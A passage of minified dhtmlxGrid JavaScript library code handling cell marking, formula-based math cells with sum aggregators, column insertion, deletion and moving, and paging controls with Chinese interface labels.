a=this.markedCellsArr[e]._dhx_find(c);if(a!=-1){this.markedCellsArr[e]._dhx_removeAt(a);if(this.markedCellsArr[e].length==0){this.markedRowsArr._dhx_removeAt(this.markedRowsArr._dhx_find(e))}this.callEvent(\"onCellUnMarked\",[e,c])}}return true}}this.cells(e,c).cell.className+=\" cellselected\";if(this.markedRowsArr._dhx_find(e)==-1){this.markedRowsArr[this.markedRowsArr.length]=e}if(!this.markedCellsArr[e]){this.markedCellsArr[e]=new dhtmlxArray(0)}if(this.markedCellsArr[e]._dhx_find(c)==-1){this.markedCellsArr[e][this.markedCellsArr[e].length]=c;this.callEvent(\"onCellMarked\",[e,c])}};dhtmlXGridObject.prototype.unmarkAll=function(){if(this.markedRowsArr){for(var a=0;a<this.markedRowsArr.length;a++){var e=this.markedRowsArr[a];if(this.rowsAr[e]){for(var c=0;c<this.markedCellsArr[e].length;c++){this.callEvent(\"onCellUnMarked\",[e,this.markedCellsArr[e][c]]);this.cells(e,this.markedCellsArr[e][c]).cell.className=this.cells(e,this.markedCellsArr[e][c]).cell.className.replace(/cellselected/g,\"\")}}}this.markedRowsArr=new dhtmlxArray(0);this.markedCellsArr=new Array(0)}return true};dhtmlXGridObject.prototype.getMarked=function(){var e=new Array();if(this.markedRowsArr){for(var a=0;a<this.markedRowsArr.length;a++){var g=this.markedRowsArr[a];for(var c=0;c<this.markedCellsArr[g].length;c++){e[e.length]=[g,this.markedCellsArr[g][c]]}}}return e};function eXcell_math(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid}this.edit=function(){this.grid.editor=new eXcell_ed(this.cell);this.grid.editor.fix_self=true;this.grid.editor.getValue=this.cell.original?(function(){return this.cell.original}):this.getValue;this.grid.editor.setValue=this.setValue;this.grid.editor.edit()};this.isDisabled=function(){return !this.grid._mathEdit};this.setValue=function(c){c=this.grid._compileSCL(c,this.cell,this.fix_self);if(this.grid._strangeParams[this.cell._cellIndex]){this.grid.cells5(this.cell,this.grid._strangeParams[this.cell._cellIndex]).setValue(c)}else{this.setCValue(c);this.cell._clearCell=false}};this.getValue=function(){if(this.grid._strangeParams[this.cell._cellIndex]){return this.grid.cells5(this.cell,this.grid._strangeParams[this.cell._cellIndex]).getValue()}return this.cell.innerHTML}}eXcell_math.prototype=new eXcell;dhx4.attachEvent(\"onGridCreated\",function(a){a._mat_links={};a._aggregators=[];a.attachEvent(\"onClearAll\",function(){this._mat_links={};this._aggregators=[]});a.attachEvent(\"onCellChanged\",function(m,l){if(this._mat_links[m]){var c=this._mat_links[m][l];if(c){for(var h=0;h<c.length;h++){if(c[h].parentNode){this.cells5(c[h]).setValue(this._calcSCL(c[h]))}}}}if(!this._parsing&&this._aggregators[l]){var g=this._h2.get[m].parent.id;if(g!=0){var e=this.cells(g,l);e.setValue(this._calcSCL(e.cell))}}});a.attachEvent(\"onAfterRowDeleted\",function(h,e){if(e!=0){if(!this._parsing&&this._aggregators.length){for(var g=0;g<this._aggregators.length;g++){if(this._aggregators[g]){var c=this.cells(e,g);c.setValue(this._calcSCL(c.cell))}}}}return true});a.attachEvent(\"onXLE\",function(){for(var c=0;c<this._aggregators.length;c++){if(this._aggregators[c]){this._h2.forEachChild(0,function(g){if(g.childs.length!=0){var e=this.cells(g.id,c);e.setValue(this._calcSCL(e.cell))}},this)}}})});dhtmlXGridObject.prototype.enableMathSerialization=function(a){this._mathSerialization=dhx4.s2b(a)};dhtmlXGridObject.prototype.setMathRound=function(a){this._roundDl=a;this._roundD=Math.pow(10,a)};dhtmlXGridObject.prototype.enableMathEditing=function(a){this._mathEdit=dhx4.s2b(a)};dhtmlXGridObject.prototype._calcSCL=function(cell){if(!cell._code){return this.cells5(cell).getValue()}try{dhtmlx.agrid=this;var z=eval(cell._code)}catch(e){return(\"#SCL\")}if(this._roundD){var pre=Math.abs(z)<1?\"0\":\"\";if(z<0){pre=\"-\"+pre}z=Math.round(Math.abs(z)*this._roundD).toString();if(z==0){return 0}if(this._roundDl>0){var n=z.length-this._roundDl;if(n<0){z=(\"000000000\"+z).substring(9+n);n=0}return(pre+z.substring(0,n)+\".\"+z.substring(n,z.length))}return pre+z}return z};dhtmlXGridObject.prototype._countTotal=function(l,c){var a=0;var h=this._h2.get[l];for(var e=0;e<h.childs.length;e++){if(!h.childs[e].buff){return a}if(h.childs[e].buff._parser){this._h2.forEachChild(l,function(m){if(m.childs.length==0){var n=parseFloat(this._get_cell_value(m.buff,c),10);if(n){a+=n}}},this);return a}var g=parseFloat(this._get_cell_value(h.childs[e].buff,c),10);if(g){a+=g}}return a};dhtmlXGridObject.prototype._compileSCL=function(e,c,a){if(e===null||e===window.undefined){return e}e=e.toString();if(e.indexOf(\"=\")!=0||!c.parentNode){this._reLink([],c);if(a){c._code=c.original=null}return e}c.original=e;var l=null;e=e.replace(\"=\",\"\");if(e.indexOf(\"sum\")!=-1){e=e.replace(\"sum\",\"(dhtmlx.agrid._countTotal('\"+c.parentNode.idd+\"',\"+c._cellIndex+\"))\");if(!this._aggregators){this._aggregators=[]}this._aggregators[c._cellIndex]=\"sum\";c._code=e;return this._parsing?\"\":this._calcSCL(c)}if(e.indexOf(\"[[\")!=-1){var h=/(\\[\\[([^\\,]*)\\,([^\\]]*)]\\])/g;dhtmlx.agrid=this;l=l||(new Array());e=e.replace(h,function(n,m,q,o){if(q==\"-\"){q=c.parentNode.idd}if(q.indexOf(\"#\")==0){q=dhtmlx.agrid.getRowId(q.replace(\"#\",\"\"))}l[l.length]=[q,o];return'(parseFloat(dhtmlx.agrid.cells(\"'+q+'\",'+o+\").getValue(),10))\"})}if(e.indexOf(\":\")!=-1){var h=/:(\\w+)/g;dhtmlx.agrid=this;var g=c.parentNode.idd;l=l||(new Array());e=e.replace(h,function(n,m,q,o){l[l.length]=[g,dhtmlx.agrid.getColIndexById(m)];return'(parseFloat(dhtmlx.agrid.cells(\"'+g+'\",dhtmlx.agrid.getColIndexById(\"'+m+'\")).getValue(),10))'})}else{var h=/c([0-9]+)/g;dhtmlx.agrid=this;var g=c.parentNode.idd;l=l||(new Array());e=e.replace(h,function(n,m,q,o){l[l.length]=[g,m];return'(parseFloat(dhtmlx.agrid.cells(\"'+g+'\",'+m+\").getValue(),10))\"})}this._reLink(l,c);c._code=e;return this._calcSCL(c)};dhtmlXGridObject.prototype._reLink=function(c,a){if(!c.length){return}for(var g=0;g<c.length;g++){if(!this._mat_links[c[g][0]]){this._mat_links[c[g][0]]={}}var e=this._mat_links[c[g][0]];if(!e[c[g][1]]){e[c[g][1]]=[]}e[c[g][1]].push(a)}};if(_isKHTML){(function(){var a=String.prototype.replace;String.prototype.replace=function(q,e){if(typeof e!=\"function\"){return a.apply(this,arguments)}var h=\"\"+this;var n=e;if(!(q instanceof RegExp)){var m=h.indexOf(q);return(m==-1?h:a.apply(h,[q,n(q,m,h)]))}var c=q;var r=[];var l=c.lastIndex;var o;while((o=c.exec(h))!=null){var m=o.index;var g=o.concat(m,h);r.push(h.slice(l,m),n.apply(null,g).toString());if(!c.global){l+=RegExp.lastMatch.length;break}else{l=c.lastIndex}}r.push(h.slice(l));return r.join(\"\")}})()}dhtmlXGridObject.prototype.insertColumn=function(e,n,q,a,m,o,s,c,h){e=parseInt(e);if(e>this._cCount){e=this._cCount}if(!this._cMod){this._cMod=this._cCount}this._processAllArrays(this._cCount,e-1,[(n||\"&nbsp;\"),(a||100),(q||\"ed\"),(o||\"left\"),(s||\"\"),(m||\"na\"),(h||\"\"),\"\",this._cMod,(a||100)]);this._processAllRows(\"_addColInRow\",e);if(typeof(n)==\"object\"){for(var l=1;l<this.hdr.rows.length;l++){if(n[l-1]==\"#rspan\"){var v=l-1;var u=false;var r=null;while(!u){var r=this.hdr.rows[v];for(var g=0;g<r.cells.length;g++){if(r.cells[g]._cellIndex==e){u=g;break}}v--}this.hdr.rows[v+1].cells[g].rowSpan=(this.hdr.rows[v].cells[g].rowSpan||1)+1}else{this.setHeaderCol(e,(n[l-1]||\"&nbsp;\"),l)}}}else{this.setHeaderCol(e,(n||\"&nbsp;\"))}this.hdr.rows[0].cells[e];this._cCount++;this._cMod++;this._master_row=null;this.setSizes()};dhtmlXGridObject.prototype.deleteColumn=function(a){a=parseInt(a);if(this._cCount==0){return}if(!this._cMod){this._cMod=this._cCount}if(a>=this._cCount){return}this._processAllArrays(a,this._cCount-1,[null,null,null,null,null,null,null,null,null,null,null]);this._processAllRows(\"_deleteColInRow\",a);this._cCount--;this._master_row=null;this.setSizes()};dhtmlXGridObject.prototype._processAllRows=function(h,a,c){this[h](this.obj.rows[0],a,c,0);var g=this.hdr.rows.length;for(var e=0;e<g;e++){this[h](this.hdr.rows[e],a,c,e)}if(this.ftr){var g=this.ftr.firstChild.rows.length;for(var e=0;e<g;e++){this[h](this.ftr.firstChild.rows[e],a,c,e)}}this.forEachRow(function(l){if(this.rowsAr[l]&&this.rowsAr[l].tagName==\"TR\"){this[h](this.rowsAr[l],a,c,-1)}})};dhtmlXGridObject.prototype._processAllArrays=function(q,a,o){var h=[\"hdrLabels\",\"initCellWidth\",\"cellType\",\"cellAlign\",\"cellVAlign\",\"fldSort\",\"columnColor\",\"_hrrar\",\"_c_order\"];if(this.cellWidthPX.length){h.push(\"cellWidthPX\")}if(this.cellWidthPC.length){h.push(\"cellWidthPC\")}if(this._col_combos){h.push(\"_col_combos\")}if(this._mCols){h[h.length]=\"_mCols\"}if(this.columnIds){h[h.length]=\"columnIds\"}if(this._maskArr){h.push(\"_maskArr\")}if(this._drsclmW){h.push(\"_drsclmW\")}if(this._RaSeCol){h.push(\"_RaSeCol\")}if(this._hm_config){h.push(\"_hm_config\")}if(this._drsclmn){h.push(\"_drsclmn\")}if(this.clists){h.push(\"clists\")}if(this._validators&&this._validators.data){h.push(this._validators.data)}h.push(\"combos\");if(this._customSorts){h.push(\"_customSorts\")}if(this._aggregators){h.push(\"_aggregators\")}var n=(q<=a);if(!this._c_order){this._c_order=new Array();var e=this._cCount;for(var m=0;m<e;m++){this._c_order[m]=m}}for(var m=0;m<h.length;m++){var r=this[h[m]]||h[m];if(r){if(n){var c=r[q];for(var g=q;g<a;g++){r[g]=r[g+1]}r[a]=c}else{var c=r[q];for(var g=q;g>(a+1);g--){r[g]=r[g-1]}r[a+1]=c}if(o){r[a+(n?0:1)]=o[m]}}}};dhtmlXGridObject.prototype.moveColumn=function(a,c){c--;a=parseInt(a);c=parseInt(c);if(c<a){var e=c+1}else{var e=c}if(!this.callEvent(\"onBeforeCMove\",[a,e])){return false}if(a==e){return}this.editStop();this._processAllRows(\"_moveColInRow\",a,c);this._processAllArrays(a,c);if(this.fldSorted){this.setSortImgPos(this.fldSorted._cellIndex)}this.callEvent(\"onAfterCMove\",[a,e])};dhtmlXGridObject.prototype._swapColumns=function(c){var e=new Array();for(var a=0;a<this._cCount;a++){var g=c[this._c_order[a]];if(typeof(g)==\"undefined\"){g=\"\"}e[a]=g}return e};dhtmlXGridObject.prototype._moveColInRow=function(l,a,e){var m=l.childNodes[a];var h=l.childNodes[e+1];if(!m){return}if(h){l.insertBefore(m,h)}else{l.appendChild(m)}for(var g=0;g<l.childNodes.length;g++){l.childNodes[g]._cellIndex=l.childNodes[g]._cellIndexS=g}};dhtmlXGridObject.prototype._addColInRow=function(n,l,a,g){var h=l;if(n._childIndexes){if(n._childIndexes[l-1]==n._childIndexes[l]||!n.childNodes[n._childIndexes[l-1]]){for(var e=n._childIndexes.length;e>=l;e--){n._childIndexes[e]=e?(n._childIndexes[e-1]+1):0}n._childIndexes[l]--}else{for(var e=n._childIndexes.length;e>=l;e--){n._childIndexes[e]=e?(n._childIndexes[e-1]+1):0}}var h=n._childIndexes[l]}var o=n.childNodes[h];var m=document.createElement((g)?\"TD\":\"TH\");if(g){m._attrs={}}else{m.style.width=(parseInt(this.cellWidthPX[l])||\"100\")+\"px\"}if(o){n.insertBefore(m,o)}else{n.appendChild(m)}if(this.dragAndDropOff&&n.idd){this.dragger.addDraggableItem(n.childNodes[h],this)}for(var e=h+1;e<n.childNodes.length;e++){n.childNodes[e]._cellIndex=n.childNodes[e]._cellIndexS=n.childNodes[e]._cellIndex+1}if(n.childNodes[h]){n.childNodes[h]._cellIndex=n.childNodes[h]._cellIndexS=l}if(n.idd||typeof(n.idd)!=\"undefined\"){this.cells3(n,l).setValue(\"\");m.align=this.cellAlign[l];m.style.verticalAlign=this.cellVAlign[l];m.bgColor=this.columnColor[l]}else{if(m.tagName==\"TD\"){if(!n.idd&&this.forceDivInHeader){m.innerHTML=\"<div class='hdrcell'>&nbsp;</div>\"}else{m.innerHTML=\"&nbsp;\"}}}};dhtmlXGridObject.prototype._deleteColInRow=function(n,m){var e=m;if(n._childIndexes){m=n._childIndexes[m]}var o=n.childNodes[m];if(!o){return}if(o.colSpan&&o.colSpan>1&&o.parentNode.idd){var h=o.colSpan-1;var a=this.cells4(o).getValue();this.setColspan(o.parentNode.idd,o._cellIndex,1);if(h>1){var l=o._cellIndex*1;this.setColspan(o.parentNode.idd,l+1,h);this.cells(o.parentNode.idd,o._cellIndex*1+1).setValue(a);n._childIndexes.splice(l,1);for(var g=l;g<n._childIndexes.length;g++){n._childIndexes[g]-=1}}}else{if(n._childIndexes){n._childIndexes.splice(e,1);for(var g=e;g<n._childIndexes.length;g++){n._childIndexes[g]--}}}if(o){n.removeChild(o)}for(var g=m;g<n.childNodes.length;g++){n.childNodes[g]._cellIndex=n.childNodes[g]._cellIndexS=n.childNodes[g]._cellIndex-1}};dhtmlXGridObject.prototype.enableColumnMove=function(c,a){this._mCol=dhx4.s2b(c);if(typeof(a)!=\"undefined\"){this._mCols=a.split(\",\")}if(!this._mmevTrue){dhtmlxEvent(this.hdr,\"mousedown\",this._startColumnMove);dhtmlxEvent(document.body,\"mousemove\",this._onColumnMove);dhtmlxEvent(document.body,\"mouseup\",this._stopColumnMove);this._mmevTrue=true}};dhtmlXGridObject.prototype._startColumnMove=function(h){h=h||event;var g=h.target||h.srcElement;var a=g;while(a.tagName!=\"TABLE\"){a=a.parentNode}var c=a.grid;if(!c){return}c.setActive();if(!c._mCol||h.button==2){return}g=c.getFirstParentOfType(g,\"TD\");if(g.style.cursor!=\"default\"){return true}if((c)&&(!c._colInMove)){c.resized=null;if((!c._mCols)||(c._mCols[g._cellIndex]==\"true\")){c._colInMove=g._cellIndex+1}}c._colInMovePos={x:h.clientX,y:h.clientY};return true};dhtmlXGridObject.prototype._onColumnMove=function(m){m=m||event;var a=window.globalActiveDHTMLGridObject;if((a)&&(a._colInMove)){var l=Math.max(Math.abs(m.clientX-a._colInMovePos.x),Math.abs(m.clientY-a._colInMovePos.y));if(l<20){return}if(a._hideHContext){a._hideHContext()}if(typeof(a._colInMove)!=\"object\"){var n=document.createElement(\"DIV\");n._aIndex=(a._colInMove-1);n._bIndex=null;n.innerHTML=a.getHeaderCol(n._aIndex);n.className=\"dhx_dragColDiv\";n.style.position=\"absolute\";document.body.appendChild(n);a._colInMove=n}var h=[];h[0]=(document.body.scrollLeft||document.documentElement.scrollLeft);h[1]=(document.body.scrollTop||document.documentElement.scrollTop);a._colInMove.style.left=m.clientX+h[0]+8+\"px\";a._colInMove.style.top=m.clientY+h[1]+8+\"px\";var c=m.target||m.srcElement;while((c)&&(typeof(c._cellIndexS)==\"undefined\")){c=c.parentNode}if(a._colInMove._oldHe){a._colInMove._oldHe.className=a._colInMove._oldHe.className.replace(/columnTarget(L|R)/g,\"\");a._colInMove._oldHe=null;a._colInMove._bIndex=null}if(c){if(a.hdr.rows[1]._childIndexes){var g=a.hdr.rows[1].cells[a.hdr.rows[1]._childIndexes[c._cellIndexS]]}else{var g=a.hdr.rows[1].cells[c._cellIndexS]}var n=m.clientX-(dhx4.absLeft(g)-a.hdrBox.scrollLeft);if(n/g.offsetWidth>0.5){g.className+=\" columnTargetR\";a._colInMove._bIndex=c._cellIndexS}else{g.className+=\" columnTargetL\";a._colInMove._bIndex=c._cellIndexS-1}if(g.offsetLeft<(a.objBox.scrollLeft+20)){a.objBox.scrollLeft=Math.max(0,g.offsetLeft-20)}if((g.offsetLeft+g.offsetWidth-a.objBox.scrollLeft)>(a.objBox.offsetWidth-20)){a.objBox.scrollLeft=Math.min(a.objBox.scrollLeft+g.offsetWidth+20,a.objBox.scrollWidth-a.objBox.offsetWidth)}a._colInMove._oldHe=g}m.cancelBubble=true;return false}return true};dhtmlXGridObject.prototype._stopColumnMove=function(c){c=c||event;var a=window.globalActiveDHTMLGridObject;if((a)&&(a._colInMove)){if(typeof(a._colInMove)==\"object\"){a._colInMove.parentNode.removeChild(a._colInMove);if(a._colInMove._bIndex!=null){a.moveColumn(a._colInMove._aIndex,a._colInMove._bIndex+1)}if(a._colInMove._oldHe){a._colInMove._oldHe.className=a._colInMove._oldHe.className.replace(/columnTarget(L|R)/g,\"\")}a._colInMove._oldHe=null;a._colInMove.grid=null;a.resized=true}a._colInMove=0}return true};dhtmlXGridObject.prototype.mouseOverHeader=function(c){var a=this;dhtmlxEvent(this.hdr,\"mousemove\",function(h){h=h||window.event;var g=h.target||h.srcElement;if(g.tagName!=\"TD\"){g=a.getFirstParentOfType(g,\"TD\")}if(g&&(typeof(g._cellIndex)!=\"undefined\")){c(g.parentNode.rowIndex,g._cellIndex)}})};dhtmlXGridObject.prototype.mouseOver=function(c){var a=this;dhtmlxEvent(this.obj,\"mousemove\",function(h){h=h||window.event;var g=h.target||h.srcElement;if(g.tagName!=\"TD\"){g=a.getFirstParentOfType(g,\"TD\")}if(g&&(typeof(g._cellIndex)!=\"undefined\")){c(g.parentNode.rowIndex,g._cellIndex)}})};dhtmlXGridObject.prototype.enablePaging=function(l,g,c,h,a,e){this._pgn_parentObj=typeof(h)==\"string\"?document.getElementById(h):h;this._pgn_recInfoParentObj=typeof(e)==\"string\"?document.getElementById(e):e;this.pagingOn=l;this.showRecInfo=a;this.rowsBufferOutSize=parseInt(g);this.currentPage=1;this.pagesInGroup=parseInt(c);this._init_pgn_events();this.setPagingSkin(\"default\")};dhtmlXGridObject.prototype.setXMLAutoLoading=function(a,c){this.xmlFileUrl=a;this._dpref=c};dhtmlXGridObject.prototype.changePageRelative=function(a){this.changePage(this.currentPage+a)};dhtmlXGridObject.prototype.changePage=function(a){if(arguments.length==0){a=this.currentPage||0}a=parseInt(a);a=Math.max(1,Math.min(a,Math.ceil(this.rowsBuffer.length/this.rowsBufferOutSize)));if(!this.callEvent(\"onBeforePageChanged\",[this.currentPage,a])){return}this.currentPage=parseInt(a);this._reset_view();this._fixAlterCss();this.callEvent(\"onPageChanged\",this.getStateOfView())};dhtmlXGridObject.prototype.setPagingSkin=function(a){this._pgn_skin=this[\"_pgn_\"+a];if(a==\"toolbar\"){this._pgn_skin_tlb=arguments[1]}};dhtmlXGridObject.prototype.setPagingTemplates=function(e,c){this._pgn_templateA=this._pgn_template_compile(e);this._pgn_templateB=this._pgn_template_compile(c);this._page_skin_update()};dhtmlXGridObject.prototype._page_skin_update=function(a){if(!this.pagesInGroup){this.pagesInGroup=Math.ceil(Math.min(5,this.rowsBuffer.length/this.rowsBufferOutSize))}var c=Math.ceil(this.rowsBuffer.length/this.rowsBufferOutSize);if(c&&c<this.currentPage){return this.changePage(c)}if(this.pagingOn&&this._pgn_skin){this._pgn_skin.apply(this,this.getStateOfView())}};dhtmlXGridObject.prototype._init_pgn_events=function(a){this.attachEvent(\"onXLE\",this._page_skin_update);this.attachEvent(\"onClearAll\",this._page_skin_update);this.attachEvent(\"onPageChanged\",this._page_skin_update);this.attachEvent(\"onGridReconstructed\",this._page_skin_update);this._init_pgn_events=function(){}};dhtmlXGridObject.prototype._pgn_default=function(e,g,a){if(!this.pagingBlock){this.pagingBlock=document.createElement(\"DIV\");this.pagingBlock.className=\"pagingBlock\";this.recordInfoBlock=document.createElement(\"SPAN\");this.recordInfoBlock.className=\"recordsInfoBlock\";if(!this._pgn_parentObj){return}this._pgn_parentObj.appendChild(this.pagingBlock);if(this._pgn_recInfoParentObj&&this.showRecInfo){this._pgn_recInfoParentObj.appendChild(this.recordInfoBlock)}if(!this._pgn_templateA){this._pgn_templateA=this._pgn_template_compile(\"[prevpages:&lt;:&nbsp;] [currentpages:,&nbsp;] [nextpages:&gt;:&nbsp;]\");this._pgn_templateB=this._pgn_template_compile(\"Results <b>[from]-[to]</b> of <b>[total]</b>\")}}var c=this.getStateOfView();this.pagingBlock.innerHTML=this._pgn_templateA.apply(this,c);this.recordInfoBlock.innerHTML=this._pgn_templateB.apply(this,c);this._pgn_template_active(this.pagingBlock);this._pgn_template_active(this.recordInfoBlock);this.callEvent(\"onPaging\",[])};dhtmlXGridObject.prototype._pgn_block=function(c){var h=Math.floor((this.currentPage-1)/this.pagesInGroup)*this.pagesInGroup;var a=Math.min(Math.ceil(this.rowsBuffer.length/this.rowsBufferOutSize),h+this.pagesInGroup);var g=[];for(var e=h+1;e<=a;e++){if(e==this.currentPage){g.push(\"<a class='dhx_not_active'><b>\"+e+\"</b></a>\")}else{g.push(\"<a onclick='this.grid.changePage(\"+e+\"); return false;'>\"+e+\"</a>\")}}return g.join(c)};dhtmlXGridObject.prototype._pgn_link=function(g,c,e){if(g==\"prevpages\"||g==\"prev\"){if(this.currentPage==1){return e}return\"<a onclick='this.grid.changePageRelative(-1*\"+(g==\"prev\"?\"1\":\"this.grid.pagesInGroup\")+\"); return false;'>\"+c+\"</a>\"}if(g==\"nextpages\"||g==\"next\"){if(this.rowsBuffer.length/this.rowsBufferOutSize<=this.currentPage){return e}if(this.rowsBuffer.length/(this.rowsBufferOutSize*(g==\"next\"?\"1\":this.pagesInGroup))<=1){return e}return\"<a onclick='this.grid.changePageRelative(\"+(g==\"next\"?\"1\":\"this.grid.pagesInGroup\")+\"); return false;'>\"+c+\"</a>\"}if(g==\"current\"){var a=this.currentPage+(c?parseInt(c):0);if(a<1||Math.ceil(this.rowsBuffer.length/this.rowsBufferOutSize)<a){return e}return\"<a \"+(a==this.currentPage?\"class='dhx_active_page_link' \":\"\")+\"onclick='this.grid.changePage(\"+a+\"); return false;'>\"+a+\"</a>\"}return c};dhtmlXGridObject.prototype._pgn_template_active=function(e){var a=e.getElementsByTagName(\"A\");if(a){for(var c=0;c<a.length;c++){a[c].grid=this}}};dhtmlXGridObject.prototype._pgn_template_compile=function(a){a=a.replace(/\\[([^\\]]*)\\]/g,function(e,c){c=c.split(\":\");switch(c[0]){case\"from\":return'\"+(arguments[1]*1+(arguments[2]*1?1:0))+\"';case\"total\":return'\"+arguments[3]+\"';case\"to\":return'\"+arguments[2]+\"';case\"current\":case\"prev\":case\"next\":case\"prevpages\":case\"nextpages\":return\"\\\"+this._pgn_link('\"+c[0]+\"','\"+c[1]+\"','\"+c[2]+\"')+\\\"\";case\"currentpages\":return\"\\\"+this._pgn_block('\"+c[1]+\"')+\\\"\"}});return new Function('return \"'+a+'\";')};dhtmlXGridObject.prototype.i18n.paging={results:\"Results\",records:\"数据集 \",to:\" - \",page:\"页面 \",perpage:\"条/页\",first:\"第一页\",previous:\"上一页\",found:\"找到数据\",next:\"下一页\",last:\"最后一页\",of:\" of \",notfound:\"暂时没有数据\"};dhtmlXGridObject.prototype.setPagingWTMode=function(a,c,e,g){this._WTDef=[a,c,e,g]};dhtmlXGridObject.prototype._pgn_bricks=function(n,a,e){var h=(this.skin_name||\"\").split(\"_\")[1];var c=\"\";if(h==\"light\"||h==\"modern\"||h==\"skyblue\"){c=\"_\"+h}this.pagerElAr=new Array();this.pagerElAr.pagerCont=document.createElement(\"DIV\");this.pagerElAr.pagerBord=document.createElement(\"DIV\");this.pagerElAr.pagerLine=document.createElement(\"DIV\");this.pagerElAr.pagerBox=document.createElement(\"DIV\");this.pagerElAr.pagerInfo=document.createElement(\"DIV\");this.pagerElAr.pagerInfoBox=document.createElement(\"DIV\");var m=(this.globalBox||this.objBox);this.pagerElAr.pagerCont.style.width=m.clientWidth+\"px\";this.pagerElAr.pagerCont.style.overflow=\"hidden\";this.pagerElAr.pagerCont.style.clear=\"both\";this.pagerElAr.pagerBord.className=\"dhx_pbox\"+c;this.pagerElAr.pagerLine.className=\"dhx_pline\"+c;this.pagerElAr.pagerBox.style.clear=\"both\";this.pagerElAr.pagerInfo.className=\"dhx_pager_info\"+c;this.pagerElAr.pagerCont.appendChild(this.pagerElAr.pagerBord);this.pagerElAr.pagerCont.appendChild(this.pagerElAr.pagerLine);this.pagerElAr.pagerCont.appendChild(this.pagerElAr.pagerInfo);this.pagerElAr.pagerLine.appendChild(this.pagerElAr.pagerBox);this.pagerElAr.pagerInfo.appendChild(this.pagerElAr.pagerInfoBox);this._pgn_parentObj.innerHTML=\"\";this._pgn_parentObj.appendChild(this.pagerElAr.pagerCont);if(this.rowsBuffer.length>0){var l=20;var s=22;if(n>this.pagesInGroup){var q=document.createElement(\"DIV\");var o=document.createElement(\"DIV\");q.className=\"dhx_page\"+c;o.innerHTML=\"&larr;\";q.appendChild(o);this.pagerElAr.pagerBox.appendChild(q);var r=this;q.pgnum=(Math.ceil(n/this.pagesInGroup)-1)*this.pagesInGroup;q.onclick=function(){r.changePage(this.pgnum)};l+=s}for(var g=1;g<=this.pagesInGroup;g++){var q=document.createElement(\"DIV\");var o=document.createElement(\"DIV\");q.className=\"dhx_page\"+c;pageNumber=((Math.ceil(n/this.pagesInGroup)-1)*this.pagesInGroup)+g;if(pageNumber>Math.ceil(this.rowsBuffer.length/this.rowsBufferOutSize)){break}o.innerHTML=pageNumber;q.appendChild(o);if(n==pageNumber){q.className+=\" dhx_page_active\"+c;o.className=\"dhx_page_active\"+c}else{var r=this;q.pgnum=pageNumber;q.onclick=function(){r.changePage(this.pgnum)}}l+=(parseInt(s/3)*pageNumber.toString().length)+15;o.style.width=(parseInt(s/3)*pageNumber.toString().length)+8+\"px\";this.pagerElAr.pagerBox.appendChild(q)}if(Math.ceil(n/this.pagesInGroup)*this.pagesInGroup<Math.ceil(this.rowsBuffer.length/this.rowsBufferOutSize)){var q=document.createElement(\"DIV\");var o=document.createElement(\"DIV\");q.className=\"dhx_page\"+c;o.innerHTML=\"&rarr;\";q.appendChild(o);this.pagerElAr.pagerBox.appendChild(q);var r=this;q.pgnum=(Math.ceil(n/this.pagesInGroup)*this.pagesInGroup)+1;q.onclick=function(){r.changePage(this.pgnum)};l+=s}this.pagerElAr.pagerLine.style.width=l+\"px\"}if(this.rowsBuffer.length>0&&this.showRecInfo){this.pagerElAr.pagerInfoBox.innerHTML=this.i18n.paging.records+(a+1)+this.i18n.paging.to+e+this.i18n.paging.of+this.rowsBuffer.length}else{if(this.rowsBuffer.length==0){this.pagerElAr.pagerLine.parentNode.removeChild(this.pagerElAr.pagerLine);this.pagerElAr.pagerInfoBox.innerHTML=this.i18n.paging.notfound}}this.pagerElAr.pagerBox.appendChild(document.createElement(\"SPAN\")).innerHTML=\"&nbsp;\";this.pagerElAr.pagerBord.appendChild(document.createElement(\"SPAN\")).innerHTML=\"&nbsp;\";this.pagerElAr.pagerCont.appendChild(document.createElement(\"SPAN\")).innerHTML=\"&nbsp;\";this.callEvent(\"onPaging\",[])};dhtmlXGridObject.prototype._pgn_toolbar=function(l,m,c){if(!this.aToolBar){this.aToolBar=this._pgn_createToolBar()}var h=Math.ceil(this.rowsBuffer.length/this.rowsBufferOutSize);if(this._WTDef[0]){this.aToolBar.enableItem(\"right\");this.aToolBar.enableItem(\"rightabs\");this.aToolBar.enableItem(\"left\");this.aToolBar.enableItem(\"leftabs\");if(this.currentPage>=h){this.aToolBar.disableItem(\"right\");this.aToolBar.disableItem(\"rightabs\")}if(this.currentPage==1){this.aToolBar.disableItem(\"left\");this.aToolBar.disableItem(\"leftabs\")}}if(this._WTDef[2]){var g=this;this.aToolBar.forEachListOption(\"pages\",function(n){g.aToolBar.removeListOption(\"pages\",n)});var a={dhx_skyblue:4,dhx_web:0,dhx_terrace:14}[this.aToolBar.conf.skin];for(var e=0;e<h;e++){this.aToolBar.addListOption(\"pages\",\"pages_\"+(e+1),NaN,\"button\",\"<span style='padding: 0px \"+a+\"px 0px 0px;'>\"+this.i18n.paging.page+(e+1)+\"</span>\",\"paging_page.gif\")}this.aToolBar.setItemText(\"pages\",this.i18n.paging.page+l)}if(this._WTDef[1]){if(!this.getRowsNum()){this.aToolBar.setItemText(\"results\",this.i18n.paging.notfound)}else{this.aToolBar.setItemText(\"results\",\"<div style='width:100%; text-align:center'>\"+this.i18n.paging.records+(m+1)+this.i18n.paging.to+c+\"</div>\")}}if(this._WTDef[3]){this.aToolBar.setItemText(\"perpagenum\",this.rowsBufferOutSize.toString()+\" \"+this.i18n.paging.perpage)}this.callEvent(\"onPaging\",[])};dhtmlXGridObject.prototype._pgn_createToolBar=function(){this.aToolBar=new dhtmlXToolbarObject({parent:this._pgn_parentObj,skin:(this._pgn_skin_tlb||this.skin_name),icons_path:this.imgURL});if(!this._WTDef){this.setPagingWTMode(true,true,true,true)}var g=this;this.aToolBar.attachEvent(\"onClick\",function(h){h=h.split(\"_\");switch(h[0]){case\"leftabs\":g.changePage(1);break;case\"left\":g.changePage(g.currentPage-1);break;case\"rightabs\":g.changePage(99999);break;case\"right\":g.changePage(g.currentPage+1);break;case\"perpagenum\":if(h[1]===this.undefined){return}g.rowsBufferOutSize=parseInt(h[1]);g.changePage();g.aToolBar.setItemText(\"perpagenum\",h[1]+\" 